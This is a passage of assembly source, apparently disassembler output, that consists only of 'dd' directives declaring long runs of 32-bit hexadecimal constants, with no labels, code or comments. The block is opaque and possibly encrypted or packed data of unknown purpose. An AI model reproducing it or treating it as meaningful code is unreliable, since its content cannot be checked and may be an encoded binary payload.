		dd 0CC88FCB1h, 7DC4FE59h, 57DC4D53h, 0B9895E2Dh, 45276281h
		dd 7AC2F974h, 15EBAA40h, 7B3D364Dh, 6083FA31h, 595A36B5h
		dd 0EDA0B60Fh, 60FA8734h, 812F73B2h, 0A215466Ch, 3EBDA58h
		dd 9955FBC3h, 0D5B70142h, 299549ABh, 0CAC1D781h, 3C59C152h
		dd 63F2D796h, 2D685F10h, 550D845Eh, 995D25A4h, 48D189DEh
		dd 0C4D57D3h, 0E9B1313Ch, 0D56165CFh, 0FB123AFDh, 2426D72Dh
		dd 1A3894Eh, 294425FAh,	15F5075Ch, 0D7B26A7Ah, 452F646Ch
		dd 188A2938h, 0E293303Ah, 7F280FF9h, 0BA8C4A78h, 0E52E80C1h
		dd 312386Eh, 0FE365F00h, 4B3C04C8h, 2C20CB28h, 68049230h
		dd 928C57FEh, 4E857AB7h, 0B6193183h, 13528201h,	4003E8C0h
		dd 0C2D0F687h, 5594E904h, 68D0E9FEh, 303A54DEh,	5ADA6BBh
		dd 0BA4F08E9h, 57BF806Dh, 6E096855h, 0B3070h, 6282CD84h
		dd 0E94D16B2h, 0BED53FCh, 0E162F3F3h, 9211F205h, 6C7E05B8h
		dd 0EA2810D3h, 0CB5C70C9h, 0EEB6170Dh, 80030201h, 0C9DD6F6h
		dd 7CCE9F04h, 0E9ED0AFEh, 93AD1337h, 2229C1C2h,	5B6600BAh
		dd 309A16B5h, 3D17E0D5h, 5076EDE6h, 24F0EB48h, 46A7BA15h
		dd 0B25D4A9Fh, 0D5F71FBFh, 0DBBE10A4h, 0EFD157D1h, 3D07024h
		dd 58C7315Ah, 0B5E9FD89h, 0C36F6461h, 0F8098C90h, 750939h
		dd 3B57D8B9h, 7118C152h, 5474242Bh, 216AA1F8h, 124DE42h
		dd 7BED17F1h, 30C1493Ah, 282687D0h, 0B31290C3h,	48DD544h
		dd 2C7FB906h, 0D9F74106h, 0FA112D68h, 41575B67h, 0D415C224h
		dd 2728707Eh, 0E983E840h, 5493EE7Ch, 61D7906h, 81360002h
		dd 4358AEF7h, 52E63451h, 0EDE6FF25h, 6C89F1FDh,	26453BBAh
		dd 218F5F52h, 2B5CA6F9h, 0D0C50681h, 0C79BA7Ah,	6C308700h
		dd 0E9EE0145h, 26A09733h, 7CBE4BF3h, 63772390h,	0EEC60180h
		dd 255660A0h, 77DFFAF1h, 519E27h, 0B6652A7Dh, 0BD16B571h
		dd 0C33C820h, 611EFCBEh, 161CE620h, 83C45279h, 55FCFFEEh
		dd 5504934Ch, 0C29F3640h, 76B233B4h, 10EC9D02h,	749E1A55h
		dd 0B2DCC238h, 0BE78000Bh, 9073AF75h, 2B341CA4h, 1EC1D21Bh
		dd 0F7037AAAh, 491E4470h, 53C200Eh, 0C9C9FF84h,	5342691Ah
		dd 0BAC1A772h, 84220308h, 911EA58h, 0C2134784h,	0D0F27E56h
		dd 35AEB4D7h, 73582C2Eh, 0D31EE0Ch, 0D1F74B01h,	66709F1Ch
		dd 16E53DC7h, 0BA883295h, 694E905Ah, 3B82E769h,	1AAA61D3h
		dd 68C8271Eh, 3CF37C29h, 1B781003h, 0F5992775h,	6C9A6822h
		dd 54A06801h, 13AA7248h
		dd 74AD19h, 179EAA6h, 8A180F4Dh, 25493E0Dh, 0FC9AB264h
		dd 0D38907D8h, 21F58851h, 0D95A59EBh, 0C00822DAh, 0D2F6CAFEh
		dd 3EA07C0h, 0A615B551h, 0E91A04C5h, 5C9CFBB1h,	0DCC626Dh
		dd 51271032h, 80A303B1h, 0D9F613C9h, 0E9E2F1A8h, 33C01D4Bh
		dd 6F2823B6h, 9C893BF3h, 3B5C46C1h, 6A5B7162h, 0D7165D3Bh
		dd 4F7BE930h, 0B7DD874Bh, 0C9046890h, 0CA87B4D2h, 0FC83F3E5h
		dd 0DE26A731h, 0E9FD8808h, 8C2A4E35h, 0E2A268F3h, 542C0A66h
		dd 960B7A59h, 789923CBh, 0B20A02B1h, 3092B0DDh,	40417862h
		dd 8E253B66h, 61F39C82h, 3BF34F49h, 0C4F2EB20h,	0AF5705ECh
		dd 6C847A31h, 209D297Eh, 4599C618h, 0BC0D044Bh,	2FE0678Dh
		dd 0CF929DDDh, 0FF2534C2h, 1B99F757h, 4348EF83h, 3762B476h
		dd 145A7F46h, 2C5A6E20h, 3A30F386h, 4DACB60h, 0D84828C0h
		dd 0D520176Fh, 4ABC84E5h, 38215D9Bh, 26ABFFA7h,	8A08C95Bh
		dd 0E92EB40Eh, 0D6E9C655h, 5A35020Dh, 89108AFAh, 0B1986F61h
		dd 7011CADFh, 2A66052Ah, 0A018EC68h, 5CC0860Fh,	4D81C14Eh
		dd 881B0326h, 8163B618h, 4407B8EBh, 0BE8CF039h,	0B12499B6h
		dd 5BDA89C0h, 0D0339F53h, 5056B400h, 7C2885B8h,	84E9184Bh
		dd 0F32DF54Ah, 58B27400h, 1625D8F7h, 71682D52h,	0BF0B1A94h
		dd 1F1345h, 3A33E722h, 0A051589Ch, 25AE460h, 0E9353D96h
		dd 47C29B2Dh, 2085CF5h,	0C8886FB1h, 9FB205E0h, 0DA09DC92h
		dd 6063B753h, 0C057E901h, 426F2D2Fh, 504266Dh, 77C0738Dh
		dd 47840BC4h, 0B8A00816h, 5B15A105h, 40762C64h,	22ED213Ah
		dd 0ED431314h, 0B70CF6D1h, 3B044C06h, 14F4633h,	35A8C116h
		dd 1456F4A3h, 58C2891Fh, 0FF11CA93h, 0D1F07086h, 4A98887Bh
		dd 0CB242098h, 0EDA629AFh, 2DC2108h, 28685D5Eh,	3F8D570h
		dd 0DE3F1558h, 6B14B13h, 0F4C3C3Bh, 0E090832Dh,	79EFC12Ch
		dd 228B2D02h, 0D78A7F40h, 500FBE4h, 39977079h, 5B73E956h
		dd 4136D03Eh, 5C584A33h, 3CAC01CEh, 0E88938C4h,	24EBF370h
		dd 20393EB1h, 0B0FD92B9h, 0DC9D22Dh, 2EC7E2CBh,	0EDCC1ECDh
		dd 0A5CD0980h, 0E2B8DE9h, 26D22E93h, 5A16FF7Eh,	1733F21h
		dd 2883B500h, 5ADEE858h, 0BEC33A40h, 4A5E06F3h,	0DAB98053h
		dd 282C8E09h, 27026D5Dh, 0C0354431h, 5666AE2h, 0E6C120F1h
		dd 65768306h, 0FE39C5F9h, 0FD673660h, 80158B9Dh, 0D028594Dh
		dd 9807B066h, 0F5E876BEh, 52C4F732h, 4059C2B6h,	5E12D754h
		dd 545095C0h, 0C1CC9E58h, 0FEA255AAh, 0AFA6D2C1h, 4A86C20Dh
		dd 0BDE90474h, 0A9BCDC57h, 26D1535Fh, 452BF25Ch, 0BC6F29C8h
		dd 0D814D848h, 4C688002h, 60402216h, 0D5051E84h, 0DF0121F2h
		dd 41B275A1h, 53800A2Bh, 0BF56C2C3h, 8E2C100h, 30DA4EF7h
		dd 2EF6E9BAh, 7B88719Bh, 52349009h, 1EA92E51h, 0DE57569Fh
		dd 8367EA08h, 0DB05C2C3h, 782BC0D4h, 3F79ED6Dh,	13E2C0B0h
		dd 182AFCFDh, 0B32D6A01h, 4016355Ch, 485FC6D8h,	0C507D465h
		dd 5A75E958h, 53B50229h, 75C17BD8h, 91AD9F8Bh, 0C450CC32h
		dd 0EF36C4ACh, 0E8680027h, 0F6F1E5Ah, 5EDC15Dh,	0FC7045C4h
		dd 32B3C48Eh, 8861B601h, 0E36960F4h, 0FE417EA2h, 83286B58h
		dd 90DC5F3Ch, 35E7C188h, 0D0CE5025h, 80A98225h,	37EC9602h
		dd 1AE912A4h, 0DE75B9EFh, 0A03453C9h, 0A876EE65h, 0A7FFA161h
		dd 3502A56Ch, 235044AEh, 1428DB7Ch, 0ED097B98h,	864641FCh
		dd 8296DD77h, 96B85908h, 31FB0D33h, 9CD1DA06h, 8CB30E8Dh
		dd 7E28C12Ah, 0E1252EADh, 9368654Bh, 0D18BDFE7h, 5232E82Dh
		dd 465683C2h, 67CDE827h, 170E3E47h, 477E4DA4h, 553EA1E2h
		dd 5AE43805h, 9E9F604h,	0BDEC4C94h, 0AB0786B5h,	0B6408FB9h
		dd 90F7287Fh, 0B5F0558Eh, 0FC25978h, 0F2D48B85h, 5618F380h
		dd 25E927CDh, 8F217C3h,	2529663Ch, 0BC79E358h, 4F03981h
		dd 0E982287Bh, 6903795Ah, 759CF29h, 0D9156A1Ch,	2E89E223h
		dd 38266BFAh, 0CB385357h, 2559C6A0h, 0AE41478Fh, 65373E4Dh
		dd 40EBBB93h, 1EDEB55h,	4BBC2C08h, 25E8215Bh, 2C302AB9h
		dd 5AADE955h, 0F63E415Ah, 17B960h, 3EFAC8Dh, 5EF3290Bh
		dd 0BBB4AFE9h, 3C59E4Fh, 0FF0E371Eh, 8056A6Dh, 45D380ACh
		dd 0B9472904h, 3DE9828Ch, 24F472FBh, 8BB43CB4h,	2D64352Eh
		dd 295E44F0h, 0E913378Fh, 2EBBF147h, 96E69D35h,	95DFBB40h
		dd 8327FF14h, 250672EAh, 190BDDE9h, 82C43F0h, 0CF087251h
		dd 6FFB407Bh, 15E7F8Fh,	76539889h, 0EAFCCF6h, 6882CCD4h
		dd 0DF893C46h, 545EAE10h, 0FC9E999Fh, 0F60C123Eh, 7A7066E6h
		dd 94A9187h, 0A3DB070Ch, 79101E1Ah, 88E9E261h, 3C7E2477h
		dd 60882A29h, 260D01B8h, 64E9463Ch, 0B2244023h,	0FC4BBEF7h
		dd 29509592h, 0D69AA4D9h, 5CB077B9h, 5F4EC568h,	0D63DC7B3h
		dd 0F1EB5961h, 40767179h, 0AB3FD1A6h, 72835D5Fh, 0D45CB21Ah
		dd 41E904CAh, 4064A4D3h, 1C61590Bh, 54FA8E01h, 0C21C6008h
		dd 48455F17h, 26028E5Dh, 0C104D67Dh, 0F1817DE0h, 0F2650F14h
		dd 0EC0F7A80h, 8037B726h, 0CA1F6FC9h, 0D1F73031h, 0DFE0041Ch
		dd 5FE97D0Dh, 6F337AFAh, 94D82918h, 10C0818Dh, 8B7369BEh
		dd 2740977Ch, 4160D9F7h, 4BC4C46h, 0CB0127D2h, 5500A014h
		dd 9D1383BDh, 4BC7E974h, 498F3BFh, 63C46851h, 0B647B8F4h
		dd 0C1DA9E1Bh, 0F9312596h, 0AD6B825Fh, 7C7B2028h, 3FE9092Fh
		dd 0EDC09B22h, 1A55C260h, 84B521B7h, 599327ABh,	450949A8h
		dd 0E140E106h, 0B6FA039Ah, 0DD48FAE0h, 0E7412A40h, 183BB927h
		dd 2D0BC5A9h, 516811A6h, 52D4ABE5h, 0E952E006h,	91125AC6h
		dd 3E4D5F62h, 2F50E773h, 0ACA3B91Ah, 3AC222B7h,	0EA01D37Ah
		dd 0AA9D76BCh, 0B030D301h, 279A93DCh, 9327566Ch, 0B7F84807h
		dd 28789345h, 3E94BF84h, 0D9813A9Dh, 0EF2834E3h, 0EF290640h
		dd 9AD6EDE9h, 6B7DB40Eh, 1AB50550h, 68D3A10Bh, 61365C73h
		dd 0F343D016h, 0F73834E8h, 0FD435189h, 0ADECBEh, 0D334593Ch
		dd 0EE41EA45h, 48157AEBh, 90C3A960h, 0CB08897Bh, 4FEC1D61h
		dd 33854804h, 31D15273h, 53426630h, 0B72B0F10h,	68048EC0h
		dd 31EA7DBDh, 1028C0A1h, 3D4E7FE2h, 0D29020E0h,	0E1302D44h
		dd 0AC065DCBh, 6EAFC92Fh, 9DF59A7Eh, 0E9137D46h, 8794B2AEh
		dd 6EED9812h, 12A95DC4h, 53F8F539h, 5FBC01BBh, 0E94B2F2Bh
		dd 2C3C7992h, 751326E6h, 2B58A1E7h, 875E11E1h, 5A68AC28h
		dd 486ACCEAh, 0DB55F40Bh, 184EA60Ah, 0F021ED65h, 5AA55E4Bh
		dd 252B61F5h, 17DFBD16h, 38D818C8h, 3A2127E9h, 0C4CF49D9h
		dd 49BE09DCh, 0DC7ABBF5h, 98A8D720h, 0A7FE83Dh,	0C5016C69h
		dd 2F0822FDh, 0FD1459CDh, 8B7DE92Ch, 0A1D15E8Eh, 5BB38A0Fh
		dd 5355E3Bh, 0E9416F81h, 234A003Fh, 0F289F4CEh,	0A5E4BE9h
		dd 0CAA65450h, 20685899h, 116F2F03h, 75F7555Dh,	0E5D132EEh
		dd 0D0588870h, 1378C79Dh, 0A0BDAC52h, 892E12E9h, 303AC4E2h
		dd 0F23E4C76h, 52880566h, 0A3A2D521h, 4E25E9C2h, 5FF682EEh
		dd 646B7BB1h, 58C22D93h, 1B0A2E6h, 0EBF9AB41h, 59EA94F7h
		dd 3E5DB3B8h, 1EC39E4Ch, 8A7E0391h, 0F272E90Bh,	93CB393Bh
		dd 0F58516Dh, 0B4FC1FD5h, 0E228653Dh, 0C42F04A9h, 0C1F314h
		dd 2692E58Dh, 0E0F4C45Bh, 0CF0F2D0Fh, 641D9ADEh, 44EF58C7h
		dd 96AD7CBh, 9EE0D405h,	2B18C95Fh, 0D2E2DD76h, 56294914h
		dd 12484334h, 0B1DB8F0Fh, 9D253D04h, 8E5ED80Bh,	20262971h
		dd 0F6FEB78Fh, 92F0F4DFh
		dd 6BCC95FAh, 3743220h,	516BEB80h, 0EA92DD88h, 97087647h
		dd 585B0066h, 2859EE30h, 3C5AF030h, 79B551DBh, 66F0ED14h
		dd 0FAB03850h, 0A5D8C325h, 0F84AE9E8h, 0B2F20E16h, 0F348A1DDh
		dd 0FC16F220h, 4B057759h, 0A1B5A72Ch, 0B4139EA7h, 4D30D41Fh
		dd 150C39D8h, 5D9F0346h, 0E957D101h, 5BB05F86h,	68BE3060h
		dd 9AAF860Fh, 0EBC11E3Ch, 3D884605h, 0FD24EF0Ch, 52C04B29h
		dd 9F6DB368h, 462EE74Dh, 6D3DF00Ch, 3B4412EFh, 0C7840025h
		dd 72123FA0h, 0ABBDE8B0h, 0E0F18F60h, 5B6CF240h, 5D594455h
		dd 0CF2C319Dh, 5451878Bh, 647CE2E1h, 1B7AC7F6h,	0B9A9E8F1h
		dd 59B02797h, 0CB3AEA07h, 0F540081Eh, 6E5C012h,	10CD60FEh
		dd 7B4E6893h, 0B08076B1h, 34D0F6D6h, 0BC38E173h, 9277C82Ch
		dd 80C665ADh, 4C0C0B7Ch, 588E4964h, 0EE1229A9h,	94C3B804h
		dd 10D22776h, 281CFC90h, 0F1CC77CAh, 99088AFEh,	0AE03E10Bh
		dd 2FC2A1EDh, 248060D6h, 5300B12h, 17FC183h, 7BCF107h
		dd 0CA761E27h, 62F20458h, 8067522Fh, 23281518h,	0D55A3C7Fh
		dd 806D9C8Dh, 2C61642Ch, 48ED08B8h, 6068173Dh, 0F6ACDE53h
		dd 1CF2985h, 54084EE2h,	3AE30043h, 0CC045E50h, 0D90533Bh
		dd 2F611109h, 9F719666h, 856AD681h, 7186B4Eh, 22AA4C12h
		dd 919FD1B7h, 0E312E66Eh, 7E304E61h, 5D2EA831h,	0CDC04302h
		dd 734B6783h, 9858BE83h, 4EB6E9DEh, 903A4216h, 0C9560733h
		dd 8BDD3818h, 0A55196A5h, 839A301Ch, 80560D21h,	0F05FC4BAh
		dd 4F0AB94Ch, 0CD0D81ADh, 1C02B802h, 0D4E78D0Eh, 7840815h
		dd 0EFEC852Dh, 386C9FD2h, 13CC0D32h, 8889D4D3h,	0C290A538h
		dd 0BF575380h, 55277252h, 20565043h, 8901E89Bh,	20D5FF8h
		dd 0A8CBE352h, 2733CF5h, 21B8251Fh, 40E01AC1h, 0B1214F4h
		dd 0EC73113h, 0C4BF5DAh, 1FD460C2h, 92695339h, 5B29C24Ch
		dd 0EB5765h, 0E94CB183h, 9AA9AEEBh, 0ED925525h,	0A9CE9741h
		dd 0B28E1214h, 5E8D289h, 42CBE917h, 5FFA0178h, 0F58185Fh
		dd 0DE6812C8h, 9B116144h, 1E5AA7A4h, 0B2E69DD8h, 0E9F52909h
		dd 5B6A7271h, 0BAC646F2h, 0C75FC32Dh, 0EE68A720h, 1D6D9738h
		dd 24425F88h, 2565528Ch, 2F43312Dh, 66510B81h, 0E8468168h
		dd 27BD2463h, 760E6F30h, 0B268321Dh, 0E8E9BF0Ah, 161A1EFh
		dd 18285FFDh, 0DFE95CA0h, 0C1951B60h, 4FDD75CAh, 0B27D464h
		dd 0E2025B08h, 0FE01EDF6h, 0A3CB86C5h, 7F087CC8h, 0CC6725D5h
		dd 96451EAh, 0C38283BEh, 9A3B1F68h, 79BB40C5h, 0F3ED0580h
		dd 0A9BA7CE9h, 0AA402619h, 5605A310h, 0AB061868h, 275E0768h
		dd 40A52DE9h, 907AA2E1h, 2DE601E9h, 0EABA03AFh,	2840BA4h
		dd 1B8E5C9Bh, 0F7E9ED81h, 93492C77h, 428220CDh,	0E1273F6h
		dd 0C6011E76h, 1C3C570Ah, 81753460h, 85F12042h,	303D111Fh
		dd 0ACB07713h, 243C98F7h, 6F7A44A0h, 8DF0F4E5h,	1FD93F08h
		dd 0E6C4BFDh, 9F09532Fh, 0E8098173h, 7084D45Dh,	699E29E9h
		dd 8E13982Ch, 97A8C685h, 50205A89h, 542EEE81h, 17321FBh
		dd 2CB23C1h, 0F40DE4BFh, 0F8DBDF05h, 9055C854h,	1112044Dh
		dd 90D15E8Ah, 58479BFBh, 0F120DCB0h, 0B8B89F0Bh, 0D5A05456h
		dd 4B91D2E7h, 0D1685082h, 0ECEFB35Ah, 5A5CC53h,	6F018C93h
		dd 8118A416h, 0D81C871h, 60E9D801h, 68FC4C0Fh, 98328025h
		dd 0A62ED3FCh, 4A96F0F1h, 88238926h, 2CA51FA0h,	5966020Dh
		dd 0D367D788h, 5C0ED409h, 0C46C9F36h, 0E9087402h, 0E9510584h
		dd 36470C06h, 52B1C329h, 32F060BAh, 0B2A9033h, 285C5D3Eh
		dd 51467886h, 0E069E3B0h, 59C4C269h, 0EF124BC4h, 9BED3057h
		dd 2A441735h, 2DF3C15Eh, 15C03B01h, 0BD3458Eh, 1F870F76h
		dd 30E92EC0h, 59256FBCh, 6DD0A53Eh, 10A56AB6h, 0BAACE97Bh
		dd 7AE59D9Dh, 69CCF927h, 0FA3AA484h, 4AE8D66Ch,	58E6316Fh
		dd 12532219h, 0FF5DA1C9h, 0FCB51A89h, 0C849C2EFh, 44FEAD6h
		dd 5E091018h, 89EE9339h, 6C36C6B8h, 3B0D259Dh, 0A3A085C5h
		dd 605DBE01h, 0E5E97C68h, 0EC74127Eh, 661B55Dh,	0C5324C6Eh
		dd 4DE04B28h, 0B212BE90h, 609EA1C2h, 4E3B85Dh, 0F8C5D000h
		dd 0C1412B05h, 0A2DA630Ch, 0BC842F2Ch, 5BBE27CCh, 4908CC0Fh
		dd 0B4B2385Bh, 10ABDE84h, 76CF04B5h, 0F08029C3h, 5C3634AEh
		dd 0BC417D1Ch, 0E6B79A89h, 84621F74h, 9C5574B1h, 0F3A721BDh
		dd 6E512743h, 0B697E950h, 0F32809FBh, 3B737961h, 1BB0C413h
		dd 0DCE91B87h, 92F8ADA0h, 73604140h, 0BC23AD0Ch, 97E97210h
		dd 0B0592086h, 710EEC30h, 3DEB0F5h, 0EB89CA7Eh,	5BB9295Dh
		dd 0C3527B31h, 5C833928h, 0E9E11DC0h, 0FFAB5480h, 6C41F11Fh
		dd 160EA4Eh, 0A47911BEh, 0A000A50Ch, 96B79039h,	0A08B2A77h
		dd 2D3776F0h, 0F1023148h, 0AE82154Bh, 2904732Eh, 319A0CAEh
		dd 587FE14Bh, 8AD4A42Dh, 0AE0B0FCEh, 74BD5817h,	0AF1B0EEBh
		dd 9AD8C124h, 3609A5F3h, 8229300Bh, 192C1A79h, 0C7C5E455h
		dd 0C4B64CC7h, 0DC112B72h, 4B2092A5h, 614AC18Ch, 9840BC55h
		dd 0D0AA5A5Ah, 1F3AE70Dh, 0D3F77609h, 0EDFB874Bh, 17E9F90h
		dd 0A9B490DFh, 44F966CBh, 90488933h, 0E90FDA81h, 0B0EF57C3h
		dd 114C5DF1h, 0CA89BA13h, 0F612A68Bh, 190A2FBh,	4B35EDBEh
		dd 360576Ch, 0BD621FC6h, 5BDFC148h, 205FFE21h, 3219C37Bh
		dd 0FD0C2F07h, 0C1196630h, 339E8AEh, 31F3E129h,	0E90800BEh
		dd 95C10B15h, 9F30CBC9h, 2C840FF4h, 89E0D89Ch, 470341D1h
		dd 1204A270h, 2602A4BAh, 5AC2C3AFh, 5D19919Ch, 45F74159h
		dd 0A83D6A07h, 40E14224h, 102C6822h, 55C65271h,	0CBA7BB77h
		dd 0CF80718Fh, 50DB5F62h, 5EFC107h, 0B860D7F7h,	0E209D9h
		dd 0DE0D170h, 419B676Ch, 707E927h, 0F6280ACh, 0E9BD9388h
		dd 0CF7338AEh, 0C691EE62h, 415F0C0Ch, 9E2838B1h, 9F0DA78Ch
		dd 0C4D07EAh, 740F5782h, 8C12AAE0h, 0C98920A9h,	32B42560h
		dd 6617A90h, 8BC580E9h,	0D2331E7Bh, 0EE4AB565h,	0C15A42D6h
		dd 6800144Ah, 189557FFh, 96229F3Bh, 49BBE02Bh, 5B121031h
		dd 0EFE0DE09h, 0E44813B7h, 0FD980186h, 6E050D68h, 85EE8782h
		dd 85B65B08h, 0D3251310h, 0EC81822Dh, 67B482Bh,	0F3BA604Eh
		dd 2CDD4F03h, 0EAE31E9h, 6CA2EBD5h, 7C534367h, 6617BCD6h
		dd 9D0B209Bh, 0EFCD52FCh, 0E7893DFDh, 34C635DDh, 19452302h
		dd 62DAF757h, 48C22090h, 0FE8D7D2Dh, 0C6093E1Eh, 8E8D8FAFh
		dd 548912F4h, 2642FA89h, 6152C0F4h, 8D3BFA0Eh, 0C810F62Ah
		dd 45A89B59h, 0BE43D85Ch, 4AB2C0EDh, 0C69D5EB8h, 0CA4BA031h
		dd 7F262507h, 0B446DEA3h, 0A30FF516h, 9DCAFF21h, 0D2C516A7h
		dd 9FB1123Fh, 439AC140h, 0F6420A07h, 39EF482Dh,	48216480h
		dd 0B09E2932h, 3A16426h, 0A36DCB29h, 0EBF407A4h, 2D03429Ah
		dd 0A34B79E9h, 4B667C14h, 0A2A57C85h, 239368E5h, 0A519AC66h
		dd 508934ACh, 11228BD3h, 0D55AD026h, 54D4581Ah,	48F1444Eh
		dd 0BA51C75Eh, 0E9594177h, 35492B96h, 0B308FEEFh, 330240BAh
		dd 4A71FDB9h, 0DAE0E006h, 4D10332Dh, 7E8B80Ch, 0CE123151h
		dd 84070159h, 2B11BF57h, 3B600EB2h, 294BD3Eh, 3029E544h
		dd 9B4A5BD9h, 0A55E142Ah, 2B981D09h, 20165AF9h,	4BDC6A4h
		dd 0BBC1F60Ch, 1328F3D7h, 38744A3Dh, 4C0B2EB0h,	0DD04D2F7h
		dd 0B8EF3C6h, 9A504168h, 57C7005Ah, 0BC26A1E9h,	1DF9A883h
		dd 0E4175FCBh, 151804C1h, 0CE02BA93h, 5F0D16B6h, 0ABDB9D00h
		dd 1269C5Dh, 0E827E9D3h
		dd 20E9568Fh, 30240D35h, 0B301A8FDh, 3EBC057h, 2DD77370h
		dd 0C4F28BE9h, 18DE313Ch, 0BDAAB002h, 0FC1000D8h, 0AAED8169h
		dd 30195C67h, 5153E7E9h, 14F58C20h, 0CB2B4504h,	0A9B49B05h
		dd 0E609AEE6h, 81020089h, 3B041BE1h, 3A7943E4h,	27A86097h
		dd 4AD76B2h, 0CF8967C3h, 6883F059h, 0FA183227h,	3B164141h
		dd 3487FFC1h, 0E914986Eh, 3EB44759h, 9FAC8FBEh,	417B4D43h
		dd 0F8AEC42Fh, 3822A55Fh, 0B7DB585Fh, 0C6B295CCh, 9FBD5500h
		dd 0E96AC967h, 0BCDC9A7Ch, 0BB66508Ch, 7E1EDC3Ah, 21A0CB19h
		dd 0F9170224h, 53098AC8h, 75F7919Fh, 0A05523DCh, 0ED077EAh
		dd 87E9714Eh, 7C8690F2h, 0FD24AA73h, 0E5699B29h, 4F831055h
		dd 842D5240h, 98195527h, 705517Bh, 9E139332h, 79F8B370h
		dd 73C5AC30h, 33111FE6h, 5E0C5A38h, 41C0B1h, 90213032h
		dd 0CE8AA134h, 1513092h, 6C35BEAAh, 5532018h, 4C60EDF4h
		dd 0D5747E9Eh, 4F67907Ch, 29AC0782h, 0E14B75D6h, 1FCE6AF1h
		dd 56802849h, 6711A368h, 0A5E97A39h, 0C64E69F2h, 0BC406D36h
		dd 33B730E6h, 2975CE0Ah, 5E850F0Bh, 50A256D1h, 0C681BD19h
		dd 4B509CC4h, 47B9959h,	2A34EBFDh, 0A35006FCh, 0BB9C69E7h
		dd 0B8ECF8E3h, 995428EEh, 90A6C259h, 710993FFh,	2EF4E83Ah
		dd 0C4E697E1h, 8E4C8E2Ch, 273780C6h, 0DB05D121h, 6A7E8952h
		dd 9AC53AD1h, 0BF903177h, 0B1586E04h, 4186A92Eh, 0E40CAF08h
		dd 0A6613429h, 3146894Ah, 96B5970Eh, 283AF0A1h,	0B840F387h
		dd 5F67B559h, 5E1962A5h, 865714E7h, 0A50E5F3Ah,	0C1244612h
		dd 0CED9C2EEh, 3C10AB60h, 0FFABA3BFh, 75C3D269h, 4031F89h
		dd 187D6AE9h, 0A0A1F5EEh, 6EFF657Bh, 0B14847CFh, 0AF471F27h
		dd 7E896421h, 46797918h, 585EC8FFh, 5FE965B0h, 687780A7h
		dd 8CB6469Eh, 5FE4EA64h, 0B8C640DDh, 0DB267C04h, 7AC429A8h
		dd 7D5CFBACh, 44AEE9A0h, 2C8BDBB1h, 0D7260489h,	54D2F416h
		dd 7952DB96h, 78E98A23h, 0F181808Eh, 20E75E67h,	0B0E4160h
		dd 0A0C0E0ECh, 0B44D6F7h, 0B4E901BEh, 8BDB4BA9h, 68826B13h
		dd 80057F01h, 0E2C601FEh, 4B3C9504h, 0C22B5CA3h, 0A7ED1F85h
		dd 0D30B0190h, 89E989A7h, 0EAD1EF60h, 0FD03903h, 960F984h
		dd 25CE6814h, 5888C379h, 0BD00AF48h, 3D14A7BEh,	0F1019EB8h
		dd 0EB59B85Eh, 0E974A8C2h, 7681350h, 7B12A37Dh,	3C780209h
		dd 8F696831h, 81201C47h, 0C50FE877h, 0AF5158A1h, 4FA25C28h
		dd 1AB86160h, 0B19D54F5h, 0E467D8B0h, 4C012D13h, 0C06B88Dh
		dd 0EBCC9F28h, 9612CE5Bh, 27799300h, 0BF2344h, 5D181AF1h
		dd 295BDF31h, 0F92780B2h, 4A5EC65Fh, 9E2C4B30h,	45BF2378h
		dd 0FD358B66h, 8F427954h, 60A7290h, 41101FF5h, 0B7221806h
		dd 0C4C50730h, 0C16D646Bh, 4613986h, 8AF08BBh, 30F34212h
		dd 0E7C14F04h, 75A48003h, 0EC4C11D3h, 839926EFh, 463AB880h
		dd 48090F95h, 984D69C5h, 382F0502h, 0C3D403E2h,	240033Ch
		dd 2D0174EFh, 0F2875128h, 25E3055Bh, 0E498D2CDh, 0DBBB9F68h
		dd 2CC93B14h, 524605D7h, 0F3E5059Ch, 0E45B0803h, 47251C85h
		dd 6953C586h, 0AD09C75Eh, 0A56A02D6h, 2A9FC808h, 5255B62Bh
		dd 6E885ADEh, 0AD92ADDDh, 3EA7A400h, 0F083D16h,	2C2F2E8Ch
		dd 5EB60F97h, 0AC55BD84h, 865BCB52h, 7006B8BAh,	0E9CB09B0h
		dd 68A0D5h, 27508ADBh, 0E1FAF280h, 6805AB96h, 0F9341852h
		dd 411251C0h, 4F5D01EFh, 7C21F781h, 0CAB0CAA3h,	0BF78ED80h
		dd 0B9AA0D25h, 0CB2F2149h, 0CD24000h, 68C83104h, 0D08C5A19h
		dd 0ED1448F7h, 34C2BDCBh, 6678B274h, 0C8BE090Fh, 56FE19E9h
		dd 34973E8Ch, 0A72D4A5Dh, 0E5D28416h, 58C28802h, 0A3970777h
		dd 9B1DD305h, 0E346616Fh, 4C615E90h, 5CE107C0h,	4B50F1Bh
		dd 1C3D6C8h, 3BBB60DBh,	0F95BDD89h, 89A449D8h, 0FE5D110h
		dd 0C94849Ah, 4FE82DB5h, 0E53D48DAh, 2C6BF181h,	17F92218h
		dd 0D9C5A6E9h, 800200E9h, 0D8297BD4h, 0AB9591AFh, 342CED97h
		dd 0F3B19C52h, 14C4AE32h, 0B8B02F5h, 78F0545Bh,	0E291BAE9h
		dd 3F36C103h, 7A1610ECh, 734F5144h, 0B665761h, 7C07B1E9h
		dd 2AAEBBCFh, 0AF33ACCEh, 0F710623Ah, 0B5CE6B96h, 4062E9E1h
		dd 1EB92D01h, 96F5A8C4h, 81DB84DEh, 0D0184CAh, 94FB6E0h
		dd 0CCE94B13h, 472292Eh, 21C1D53h, 5602C283h, 0E2FE647Dh
		dd 6DAB30A6h, 98CB07B3h, 5F828BBh, 495F7607h, 8962602h
		dd 8AAEBAB3h, 4CC8840Ch, 23954FFEh, 7176F710h, 0C981E691h
		dd 5671649Ah, 4EC520h, 314B3842h, 6B4CE9F1h, 0E1363591h
		dd 61E2000Ch, 0F59832Ah, 1BDE08Eh, 18BE9D1h, 0E5E4A168h
		dd 2A5C21C9h, 9028194Bh, 80BEC427h, 4BBD43B2h, 91EBFA86h
		dd 1C305054h, 93C269E9h, 0EA52D6F4h, 89967FEFh,	8063D24h
		dd 0F02CFE96h, 0B8B0D633h, 9E9C22Eh, 846655E1h,	0A5A459F2h
		dd 0E5FD4Bh, 51D8B72Ah,	2002A1Bh, 8211F4BEh, 8A25F410h
		dd 64BC5EB9h, 4AE63502h, 0DE702732h, 0B82948C4h, 58F474h
		dd 663B3546h, 21E93042h, 4E20CF66h, 4097416Ah, 6271B9A8h
		dd 0DF295C1Eh, 908EF14h, 46555E5Bh, 0F5893DCEh,	93EF2913h
		dd 0D925D6E9h, 40D9595Ah, 0CDD9E956h, 2F42B3B5h, 626511A8h
		dd 5013DB4Ah, 27BEE030h, 3620035Ah, 63E8C681h, 830F5E80h
